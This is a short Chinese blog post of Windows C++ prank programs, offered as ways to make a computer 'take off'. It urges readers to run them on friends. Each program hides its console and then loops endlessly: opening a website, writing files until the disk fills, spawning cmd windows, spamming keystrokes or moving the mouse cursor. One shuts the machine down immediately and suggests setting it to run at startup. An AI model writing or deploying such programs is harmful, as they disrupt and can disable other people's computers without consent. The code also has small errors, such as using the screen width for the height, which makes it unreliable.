跳到正文

休闲·娱乐

如何让电脑起飞

_Coffice_约 5 分钟
原文
文章信息与版本

文章信息

收录
2025年12月12日
更新
2025年12月12日
篇幅
约 5 分钟

版本

  1. v1当前

1:

C++
#include <iostream>
#include <windows.h>
using namespace std;
char s[1000];
int main()
{
	HWND hwnd = GetForegroundWindow();
	ShowWindow(hwnd, 0);
	string str = "start https://bilibili.com";
	for (int i=0;i<str.size();i++)
	{
		s[i] = str[i];
	}
	while (1)
	{
		system(s);
	}
	return 0;
}

2.(C++11):

C++
#include <iostream>
#include <windows.h>
using namespace std;
char s[1000];
int main()
{
	HWND hwnd = GetForegroundWindow();
	ShowWindow(hwnd, 0);
	for (int i=1;;i++)
	{
		string str = to_string(i)+".txt";
		for (int j=0;j<str.size();j++)
		{
			s[j] = str[j];
		}
		freopen(s, "w", stdout);
		cout << "Coffice!";
	}
	return 0;
}
C++
#include <iostream>
#include <windows.h>
using namespace std;
int main()
{
	HWND hwnd = GetForegroundWindow();
	ShowWindow(hwnd, 0);
	while (1)
		system("start cmd");
	return 0;
}

4.(设置开机自启更好玩)

C++
#include <iostream>
#include <windows.h>
using namespace std;
int main()
{
	HWND hwnd = GetForegroundWindow();
	ShowWindow(hwnd, 0);
	system("shutdown -s -t 0");
	return 0;
}
C++
#include<iostream>
#include<windows.h>
using namespace std;
void Key_Down(int n)
{
	keybd_event(n,0,0,0);
}
void Key_Up(int n)
{
	keybd_event(n,0,2,0);
}
int main()
{
	HWND hwnd = GetForegroundWindow();
	ShowWindow(hwnd, 0);
	Key_Down(17);
	Key_Down(91);
	Key_Down(39);
	Key_Up(17);
	Key_Up(91);
	Key_Up(68);
	for(int i=1;i<=10000;i++)
	{
		Key_Down(17);
		Key_Down(91);
		Key_Down(39);
	    Key_Down(37);
		Key_Up(37);
		Key_Down(39);
		Key_Up(39);
	}
	return 0;
}
C++
#include <bits/stdc++.h>
#include <windows.h>
#include <conio.h>
using namespace std;
int main()
{
	HWND hwnd = GetForegroundWindow();
	ShowWindow(hwnd, 0);
    int a;
    int x=GetSystemMetrics(SM_CXSCREEN);
    int y=GetSystemMetrics(SM_CXSCREEN);
    srand(time(0));
    while(true)
    {
        SetCursorPos(rand()%x,rand()%y);
        Sleep(10);
    }
}
C++
#include <bits/stdc++.h>
#include <windows.h>
#include <conio.h>
using namespace std;
int main()
{
	HWND hwnd = GetForegroundWindow();
	ShowWindow(hwnd, 0);
    int a;
    int x=GetSystemMetrics(SM_CXSCREEN);
    int y=GetSystemMetrics(SM_CXSCREEN);
    while(true)
    {
        SetCursorPos(0,0);
        Sleep(10);
    }
}

赶紧找朋友试一下。。

原文